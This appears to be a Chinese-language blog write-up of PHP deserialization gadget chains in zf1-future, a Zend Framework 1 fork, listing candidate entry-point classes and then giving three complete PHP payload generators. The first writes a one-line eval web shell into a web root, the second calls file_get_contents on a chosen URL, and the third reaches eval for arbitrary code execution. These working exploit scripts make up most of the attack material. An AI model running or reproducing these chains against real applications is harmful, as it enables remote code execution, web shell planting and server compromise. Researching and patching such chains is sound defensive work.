zf1-future反序列化利用链

寻找可延伸入口点

析构方法

全文存在相当多的析构方法

__call方法

  • Zend_Memory_Manager->有参触发__call方法
  • Zend_Queue_Stomp_Client->有参触发__call方法
  • Zend_Log->无参触发__call方法
  • Zend_Ldap_Collection->无参触发__call方法
  • Zend_Memory_AccessController->无参触发__call方法
  • Zend_Pdf_Parser->无参触发__call方法
  • Zend_Pdf_ElementFactory_Proxy->无参触发__call方法
  • Zend_Search_Lucene->无参触发__call方法
  • Zend_Search_Lucene_Proxy->无参触发__call方法
  • Zend_Service_LiveDocx->无参触发__call方法
  • Zend_Queue_Adapter_Activemq->无参触发__call方法

__toString方法

  • Zend_Mail_Protocol_Imap->触发__toString方法
  • Zend_Http_Response_Stream->触发__toString方法

反序列化方法

SQL操作

  • Zend_Db_Adapter_Abstract可能存在SQL操作

__call方法

  • Zend_Feed_Atom->有参触发__call方法
  • Zend_Feed_Rss->有参触发__call方法
  • Zend_Ldap_Node->无参触发__call方法

__toString方法

  • Zend_Mail_Storage_Mbox->触发__toString方法

反射调用

  • Zend_Server_Reflection_Function_Abstract可能存在反射调用

反序列化利用链

文件写入链

入口点

Zend_Memory_Manager类的析构方法

image-20210831095719126

触发__call魔术方法

image-20210831100109176

进入log方法

image-20210831100152020

这里调用了一个write方法,参数并不是完全可控的,是一个数组

image-20210831100254886

这里存在一个完全可控的成员变量,通过array_merge函数进行数组合并

这里可以覆盖相关值,变成一个键值完全可控的数组

继续查找write方法

image-20210831110422949

利用链

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
<?php
class Zend_Memory_Manager{
private $_backend;
public function __construct(){
$this->_backend = new Zend_Log();
}
}

class Zend_Log{
protected $_writers;
protected $_extras;
protected $_priorities;
public function __construct(){
$this->_writers = array(new Zend_CodeGenerator_Php_File());
$this->_priorities = array("CLEAN" => "CLEAN");
$this->_extras = array(
"timestamp" => null,
"message" => null,
"priority" => null,
"priorityName" => null
);
}
}

class Zend_CodeGenerator_Php_File{
private $_filename;
public $_sourceContent;
protected $_isSourceDirty = false;
public function __construct(){
$this->_filename = "E:/phpstudy/directory/phpstudy_pro/WWW/www.pincongaa.com/aaa.php";
$this->_sourceContent = '<?php @eval($_REQUEST["img"]);?>';
}
}

echo urlencode(serialize(new Zend_Memory_Manager()));
?>

多参数调用

这个相对来说比较复杂一些

入口点选择是Zend_Mail_Storage_Mbox__wakeup方法

image-20210831151044191

此处的filemtime函数可以触发__toString方法

经过一系列的排除,这里选择的是Zend_Form_Element

image-20210831151215777

跟进render方法,这里存在一处任意render调用

image-20210831151250352

但是调用的前提是必须存在setElement方法

此方法存在于一个抽象类中

image-20210831151429439

选择一个继承自此抽象类的方法,最终选择Zend_Form_Decorator_Callback

image-20210831151531167

此时可以调用任意类的任意方法

但是参数不可控,经过一番查找,直接调用是不太可能了,需要对数据进行处理

最终定位到另外一处render方法,至于为什么不一开始调用此render,是因为此render所在类不存在setElement方法

image-20210831151805296

data经过跟踪是一个可控的数组

image-20210831151853740

第一个参数值也是完全可控

image-20210831152001716

但是由于第二个参数是数组,所以需要进一步处理

定位到Zend_Filter_Callback类的filter方法

image-20210831152115342

经过处理后的options第一个参数为我们传入的data数组,第二个为原来的options参数

可以构造

call_user_func_array('call_user_func_array',[[new A(),'m'],['dir']])

的形式

再找一个接盘类Zend_Validate_Callback

image-20210831152420255

即可完成完全可控的参数

利用链

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
<?php
class Zend_Mail_Storage_Mbox{
protected $_filename;
public function __construct(){
$this->_filename = new Zend_Form_Element();
}
}

class Zend_Form_Element{
protected $_decorators;
protected $_isPartialRendering = false;
public function __construct(){
$this->_decorators = array(new Zend_Form_Decorator_Callback());
}
}

class Zend_Form_Decorator_Callback{
protected $_callback;
public function __construct(){
$this->_callback = array(new Zend_Config_Writer_Yaml(), "render");
}
}

class Zend_Config_Writer_Yaml{
protected $_yamlEncoder;
protected $_config;
public function __construct(){
$this->_yamlEncoder = array(new Zend_Filter_Callback("call_user_func_array"), "filter");
$this->_config = new Zend_Config();
}
}

class Zend_Config{
protected $_loadedSection;
protected $_data;
public function __construct(){
$this->_loadedSection = array(array("a"));
$this->_data = array(new Zend_Validate_Callback(),"isValid");
}
}

class Zend_Filter_Callback{
protected $_options;
protected $_callback;
public function __construct($obj){
$this->_callback = $obj;
$this->_options = array(array("http://127.0.0.1:7777/aaaa")); //第一个参数
}
}

class Zend_Validate_Callback{
protected $_options;
protected $_callback;
public function __construct(){
$this->_callback = "file_get_contents"; //调用的方法
$this->_options = array(); //第2-n个参数, 空代表只有一个参数的情况
}
}

echo urlencode(serialize(new Zend_Mail_Storage_Mbox()));
?>

效果

image-20210831152634447

代码执行

直接在上面的基础上进行重点扩展即可,存在一个eval的调用

image-20210831153002275

利用链

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
<?php
class Zend_Mail_Storage_Mbox{
protected $_filename;
public function __construct(){
$this->_filename = new Zend_Form_Element();
}
}

class Zend_Form_Element{
protected $_decorators;
protected $_isPartialRendering = false;
public function __construct(){
$this->_decorators = array(new Zend_Form_Decorator_Callback());
}
}

class Zend_Form_Decorator_Callback{
protected $_callback;
public function __construct(){
$this->_callback = array(new Zend_Config_Writer_Yaml(), "render");
}
}

class Zend_Config_Writer_Yaml{
protected $_yamlEncoder;
protected $_config;
public function __construct(){
$this->_yamlEncoder = array(new Zend_Filter_Callback("call_user_func_array"), "filter");
$this->_config = new Zend_Config();
}
}

class Zend_Config{
protected $_loadedSection;
protected $_data;
public function __construct(){
$this->_loadedSection = array(array("a"));
$this->_data = array(new Zend_Validate_Callback(),"isValid");
}
}

class Zend_Filter_Callback{
protected $_options;
protected $_callback;
public function __construct($obj){
$this->_callback = $obj;
$this->_options = array(array("1;@eval(\$_REQUEST['img'])")); //第一个参数
}
}

class Zend_Validate_Callback{
protected $_options;
protected $_callback;
public function __construct(){
$this->_callback = array(new Zend_Serializer_Adapter_PhpCode(),'unserialize'); //调用的方法
$this->_options = array(); //第2-n个参数, 空代表只有一个参数的情况
}
}

class Zend_Serializer_Adapter_PhpCode{

}

echo urlencode(serialize(new Zend_Mail_Storage_Mbox()));
?>

效果

image-20210831153225239